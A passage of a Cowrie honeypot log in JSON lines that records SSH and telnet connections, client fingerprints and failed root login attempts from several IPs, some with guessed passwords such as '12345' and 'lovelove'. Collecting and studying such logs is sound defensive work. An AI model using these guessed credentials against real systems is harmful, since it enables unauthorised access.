com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:59.568904Z","src_ip":"109.237.96.109","session":"c6a96ecc106c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovelove","message":"login attempt [root/lovelove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:37:59.847282Z","src_ip":"109.237.96.109","session":"c6a96ecc106c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:00.986620Z","src_ip":"109.237.96.109","session":"c6a96ecc106c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.152454137802124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:01.846651Z","src_ip":"192.119.13.58","session":"d3b4a4939163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":38514,"dst_ip":"10.17.0.5","dst_port":22,"session":"104025e48c55","protocol":"ssh","message":"New connection: 108.178.7.34:38514 (10.17.0.5:22) [session: 104025e48c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:04.908535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:04.914265Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:04.947822Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:fc:2d:2a:de:b9:6a:71:8a:95:f3:33:fe:71:ad:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2AYGdwkGsaI3GRPZD+mQbxvc2qFtl8+se3yP03tNrVDJaI4cBn3Il2peYot2xHgrqskOTJz6HpryOTvtttcZzxj6GDiq4RolwYGLjdjpVM4e6+mShA6ooBsQeLjr/46g4DRh4Smr1B8MgpUp5nOzXxPEsDynb0rXz5YA9xaPtEMImA6wI40Qs+TjSfIdsUVF5R6Ur4iraS5yHmWC2thzXDDxwGtsIEjeOibTRpDbZMnGAqrIhcRgfOrmpLVax8k0Vx5AC0VT7ya2rz3W5yMTedJHbWEdgrCRzAwPkeC40tU3DlGycEeLR2f+CJW5T0GARHN3MBkIX3A2F2j1F5gAYxgVKPf3rANOrh5Cg9avI3YwmvBGHRAaz/xYH3AI+7fPpNxj/sGz8/iH1lD272y+suv7/d4byVPnaffC+iStQwDpdHwOXBzc7VwY+d7aLYAcpmrZQETTq0mXYenkiLkW6D7Enb5qSH4/KgmV0A6ysukymhsiRmuSvgCfiFp3VZ6qClgN58ooq5SPVy0Q3TK36wbP+UjD8FhZayIx5lnM/MsHbWPowxlX1Vfyd3KhG0Jni3xkq8A8rHh4hXXqmJKSrNWCDoKyyOR498bQuAw07aarEg3daCXqnenA9Wp/JNYicesKAv6oMuaf4Uv8ORQrlEMC4aOztE9OsHjU7FITeCw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:fc:2d:2a:de:b9:6a:71:8a:95:f3:33:fe:71:ad:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.091089Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:fc:2d:2a:de:b9:6a:71:8a:95:f3:33:fe:71:ad:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2AYGdwkGsaI3GRPZD+mQbxvc2qFtl8+se3yP03tNrVDJaI4cBn3Il2peYot2xHgrqskOTJz6HpryOTvtttcZzxj6GDiq4RolwYGLjdjpVM4e6+mShA6ooBsQeLjr/46g4DRh4Smr1B8MgpUp5nOzXxPEsDynb0rXz5YA9xaPtEMImA6wI40Qs+TjSfIdsUVF5R6Ur4iraS5yHmWC2thzXDDxwGtsIEjeOibTRpDbZMnGAqrIhcRgfOrmpLVax8k0Vx5AC0VT7ya2rz3W5yMTedJHbWEdgrCRzAwPkeC40tU3DlGycEeLR2f+CJW5T0GARHN3MBkIX3A2F2j1F5gAYxgVKPf3rANOrh5Cg9avI3YwmvBGHRAaz/xYH3AI+7fPpNxj/sGz8/iH1lD272y+suv7/d4byVPnaffC+iStQwDpdHwOXBzc7VwY+d7aLYAcpmrZQETTq0mXYenkiLkW6D7Enb5qSH4/KgmV0A6ysukymhsiRmuSvgCfiFp3VZ6qClgN58ooq5SPVy0Q3TK36wbP+UjD8FhZayIx5lnM/MsHbWPowxlX1Vfyd3KhG0Jni3xkq8A8rHh4hXXqmJKSrNWCDoKyyOR498bQuAw07aarEg3daCXqnenA9Wp/JNYicesKAv6oMuaf4Uv8ORQrlEMC4aOztE9OsHjU7FITeCw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.095185Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:c0:6f:77:35:6b:48:d4:05:14:1f:3a:b1:65:fa:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkeP9t4cJrliKpF23tbTKFCtbNd0uv8Fi7QTpOYw8R5/i1UvyhgCcwBviAsYsn3pu1n/fbXqU5P2UUu9Y7DtP1/H89g0IKsqrzqZY69+OEXWSgTxkxsbieW6lPn0/ystQ8QgUlUzuZC40OsklTQukSGN5aP6BfCfJTxCZF5pYta+6pysd/9ah7knQ/UI3IsxL/wD4GRr0dYpR/6xwQ18vRkV9aWYBlx6sC2fPwD3YA/EaHTTTOd0V1FxcYNr1P1VUtxbya8euTxidmDg+7piCOjtvADJLdaqJXmhleBdURRLBDLVydu4ze41Tm5xUSLeGWeLCtG2kaciiswvkDbIHZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:c0:6f:77:35:6b:48:d4:05:14:1f:3a:b1:65:fa:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.125929Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:c0:6f:77:35:6b:48:d4:05:14:1f:3a:b1:65:fa:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkeP9t4cJrliKpF23tbTKFCtbNd0uv8Fi7QTpOYw8R5/i1UvyhgCcwBviAsYsn3pu1n/fbXqU5P2UUu9Y7DtP1/H89g0IKsqrzqZY69+OEXWSgTxkxsbieW6lPn0/ystQ8QgUlUzuZC40OsklTQukSGN5aP6BfCfJTxCZF5pYta+6pysd/9ah7knQ/UI3IsxL/wD4GRr0dYpR/6xwQ18vRkV9aWYBlx6sC2fPwD3YA/EaHTTTOd0V1FxcYNr1P1VUtxbya8euTxidmDg+7piCOjtvADJLdaqJXmhleBdURRLBDLVydu4ze41Tm5xUSLeGWeLCtG2kaciiswvkDbIHZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.130400Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:e0:ed:a3:dd:83:9b:19:3f:c0:5e:4c:87:3f:da:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3cMxGLoTeD+jfMZ4KM5Ms2v2VAMKtfqYOeyRczpVyO2q1IoUznM5ZrzsFMgHha5pl7AsWGAY8j4MXb1svh8292qMV6WLsxGkqfPL8dI5DlTIjsSQ85QRNIxdKqKYM6ZB5w0IKmeE5QNUC0tBaGj9Bs7ML6U/PZGF6dn7KrykLgw+cR3ehBSMvVVa1N3ybj9PoaEE2JnrYS0nZ52nxM+8kJPxOPgIeJUmo4ECYQg/fOBHRRGGWo3xkVKgOplBPyGMTwvpCPb71q5TrayF0yL8QUcitfUUCo+Jhe0utOEH2vw7jEpFRdSuAVDvES1qmY6+i6ppvrqo0bR5k8ike692l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:e0:ed:a3:dd:83:9b:19:3f:c0:5e:4c:87:3f:da:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.163483Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:e0:ed:a3:dd:83:9b:19:3f:c0:5e:4c:87:3f:da:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3cMxGLoTeD+jfMZ4KM5Ms2v2VAMKtfqYOeyRczpVyO2q1IoUznM5ZrzsFMgHha5pl7AsWGAY8j4MXb1svh8292qMV6WLsxGkqfPL8dI5DlTIjsSQ85QRNIxdKqKYM6ZB5w0IKmeE5QNUC0tBaGj9Bs7ML6U/PZGF6dn7KrykLgw+cR3ehBSMvVVa1N3ybj9PoaEE2JnrYS0nZ52nxM+8kJPxOPgIeJUmo4ECYQg/fOBHRRGGWo3xkVKgOplBPyGMTwvpCPb71q5TrayF0yL8QUcitfUUCo+Jhe0utOEH2vw7jEpFRdSuAVDvES1qmY6+i6ppvrqo0bR5k8ike692l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.168126Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:16:39:b8:f5:2f:dc:f6:9b:57:5a:1f:67:5b:cf:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQ3TzL5gW6yA1SA6zV147l0Jqnp3wW/KsG17RFmF8uf4bBxcRhBHVXJZNNLE+wPVzmsULeP7/2nrdUino83t1wFwh2UqWLt7oRDcvTht293qQhcWVsM1NvbDSVrJXMUE8tPcCiDl1isPEH5b7G1NewFkizdQfUhRpC6c2+rwt/HCYbBsJiVRrv+xwU08tlkXvxtmieji3z59U0zPk5A7vYpJehK7iNLPDMocfhLRIMXA2Z6Sd4q1dEFmiV8LNEs8HeMUlU8+teBYzBhdD534SFvmGng/LYhDXT/I5IJ5qIYXKVhfbvlThhhpx9vu1Ucy6S+m35XAUlCmm6e9oOULWZe/zNoDS8VUfAq6A5EKhM4rNQzKzRZxiR7y0f/9ZCJ0Lh49G5sEfNJnrWAF+70w8F5x50Yghfd3WAhSq+HsSJ9C2kIJRX5CEceVq7HJr5VCchWXlUW63rI4Kpjx1eaBHzFVuWZqDHZHcPeMGYsRrrokmJ8XCkf+grin30yzhrr/s=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:16:39:b8:f5:2f:dc:f6:9b:57:5a:1f:67:5b:cf:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.201359Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:16:39:b8:f5:2f:dc:f6:9b:57:5a:1f:67:5b:cf:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQ3TzL5gW6yA1SA6zV147l0Jqnp3wW/KsG17RFmF8uf4bBxcRhBHVXJZNNLE+wPVzmsULeP7/2nrdUino83t1wFwh2UqWLt7oRDcvTht293qQhcWVsM1NvbDSVrJXMUE8tPcCiDl1isPEH5b7G1NewFkizdQfUhRpC6c2+rwt/HCYbBsJiVRrv+xwU08tlkXvxtmieji3z59U0zPk5A7vYpJehK7iNLPDMocfhLRIMXA2Z6Sd4q1dEFmiV8LNEs8HeMUlU8+teBYzBhdD534SFvmGng/LYhDXT/I5IJ5qIYXKVhfbvlThhhpx9vu1Ucy6S+m35XAUlCmm6e9oOULWZe/zNoDS8VUfAq6A5EKhM4rNQzKzRZxiR7y0f/9ZCJ0Lh49G5sEfNJnrWAF+70w8F5x50Yghfd3WAhSq+HsSJ9C2kIJRX5CEceVq7HJr5VCchWXlUW63rI4Kpjx1eaBHzFVuWZqDHZHcPeMGYsRrrokmJ8XCkf+grin30yzhrr/s=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.206115Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52554,"dst_ip":"10.17.0.5","dst_port":23,"session":"b31f5affe49b","protocol":"telnet","message":"New connection: 192.119.13.58:52554 (10.17.0.5:23) [session: b31f5affe49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.219550Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:e5:c8:69:29:6c:25:de:bf:7c:bb:28:93:ce:10:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSrMUY50haYmec0B+os4YBSSFvWqlbZD/Z9OkjhtzzHxkaHfJtZsm7+9epIDTM3vDvdSa5vhAHFPs8m+o4akdIqrfk9nwMgPDSMweAgdQ0FNetE5ugPtgXbRsKC13/qcvGDY9UC2CAAKTsg9e49uqqnPiNbNqDsOlABEMMFT47QmxepR/9srqvikkw/DiGOJfdNmrJOgRmxRXB4Vkprot81AR4ZTn+ZJ/RHs98ax7IlFshbwaovoh34nLTGAdpUNrMHKDurl6qVTgxJJXypqEMHbjuJ/HdYaHCJFvJ1aAGc+cbwjsxCV3BRumGO1y+6X99IglJHzMnasmLy58GN99oJtGVeTZFrndjkzla2pdktlNiNjvxBBPddoTJoVn5Kyuw1kiEA4325fg6deg945m+VuNcaVgkyXCVXTJMGQDfdfH7GdIcnGFba4BFUlRSwuHk3wm7dWjFxBwNi6Sc2ql5B4LrN83MW8SWhItLpYuY5CC7Mp7Fj3zVJ9Awmvs2OME=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:e5:c8:69:29:6c:25:de:bf:7c:bb:28:93:ce:10:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.237918Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:e5:c8:69:29:6c:25:de:bf:7c:bb:28:93:ce:10:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSrMUY50haYmec0B+os4YBSSFvWqlbZD/Z9OkjhtzzHxkaHfJtZsm7+9epIDTM3vDvdSa5vhAHFPs8m+o4akdIqrfk9nwMgPDSMweAgdQ0FNetE5ugPtgXbRsKC13/qcvGDY9UC2CAAKTsg9e49uqqnPiNbNqDsOlABEMMFT47QmxepR/9srqvikkw/DiGOJfdNmrJOgRmxRXB4Vkprot81AR4ZTn+ZJ/RHs98ax7IlFshbwaovoh34nLTGAdpUNrMHKDurl6qVTgxJJXypqEMHbjuJ/HdYaHCJFvJ1aAGc+cbwjsxCV3BRumGO1y+6X99IglJHzMnasmLy58GN99oJtGVeTZFrndjkzla2pdktlNiNjvxBBPddoTJoVn5Kyuw1kiEA4325fg6deg945m+VuNcaVgkyXCVXTJMGQDfdfH7GdIcnGFba4BFUlRSwuHk3wm7dWjFxBwNi6Sc2ql5B4LrN83MW8SWhItLpYuY5CC7Mp7Fj3zVJ9Awmvs2OME=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.242360Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:05.276844Z","src_ip":"108.178.7.34","session":"104025e48c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.31079864501953,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:09.506952Z","src_ip":"192.119.13.58","session":"3a38ce927727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.4613242149353,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:11.014211Z","src_ip":"192.119.13.58","session":"e05d239855ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57856,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ce23558b0b0","protocol":"telnet","message":"New connection: 192.119.13.58:57856 (10.17.0.5:23) [session: 9ce23558b0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:13.996238Z"}
{"eventid":"cowrie.session.closed","duration":39.25314402580261,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:14.803406Z","src_ip":"192.119.13.58","session":"2055b86c643b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":42091,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3e8113efaf9","protocol":"ssh","message":"New connection: 103.24.63.85:42091 (159.203.135.109:22) [session: d3e8113efaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:17.866463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:17.870938Z","src_ip":"103.24.63.85","session":"d3e8113efaf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:18.074451Z","src_ip":"103.24.63.85","session":"d3e8113efaf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:18.689341Z","src_ip":"103.24.63.85","session":"d3e8113efaf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.14696931838989,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:19.004744Z","src_ip":"192.119.13.58","session":"2af1cfbde360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":33918,"dst_ip":"159.203.135.109","dst_port":22,"session":"b69eb78ecdf0","protocol":"ssh","message":"New connection: 43.153.7.148:33918 (159.203.135.109:22) [session: b69eb78ecdf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:19.052751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:19.117381Z","src_ip":"43.153.7.148","session":"b69eb78ecdf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:19.187479Z","src_ip":"43.153.7.148","session":"b69eb78ecdf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.771653175354004,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:19.344577Z","src_ip":"192.119.13.58","session":"1b69649e7b0c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"flyers","message":"login attempt [root/flyers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:19.452483Z","src_ip":"43.153.7.148","session":"b69eb78ecdf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:19.895419Z","src_ip":"103.24.63.85","session":"d3e8113efaf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53818,"dst_ip":"10.17.0.5","dst_port":23,"session":"67b236408b9a","protocol":"telnet","message":"New connection: 192.119.13.58:53818 (10.17.0.5:23) [session: 67b236408b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:38:20.483018Z"}
